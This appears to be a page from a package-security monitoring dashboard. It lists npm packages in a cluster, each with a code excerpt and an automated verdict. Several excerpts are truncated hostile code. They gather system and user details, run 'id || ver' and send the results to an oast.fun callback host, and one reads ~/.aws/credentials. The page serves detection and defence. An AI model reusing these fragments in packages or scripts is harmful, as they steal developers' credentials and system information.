gh CLI token store

// members

Every caught package that currently matches this cluster's axis, replayed live over the last 7 days. Snippets show where the cluster identifier appears in the package's static excerpt or which takeover heuristic fired.

• npm/did-0091·@11.0.9·7h ago·dewifewi

  const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.st

  llm: Sends to suspicious destination: wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun.

• npm/·@1.0.2·10h ago·

  const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.st

  llm: Sends to suspicious destination: wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun.

• npm/·@1.3.1·17h ago·

  import Conf from 'conf'; import axios from 'axios';

  llm: No suspicious destination, no remote-exec shape — 1 other host(s).

• npm/·@1.4.2·17h ago·

  let imports = {}; imports['__wbindgen_placeholder__'] = module.exports; let wasm; const { TextDecoder, TextEncoder } = require(`util`);

  llm: No suspicious destination, no remote-exec shape — 1 known-vendor host(s).

• npm/·@1.0.0·18h ago·

  try{data+=fs.readFileSync(home+'/.aws/credentials','utf8')}catch(e){}

  llm: Credential read (reads-aws-creds, reads-npmrc) paired with http-to-public-ip destination — classic exfiltration signature.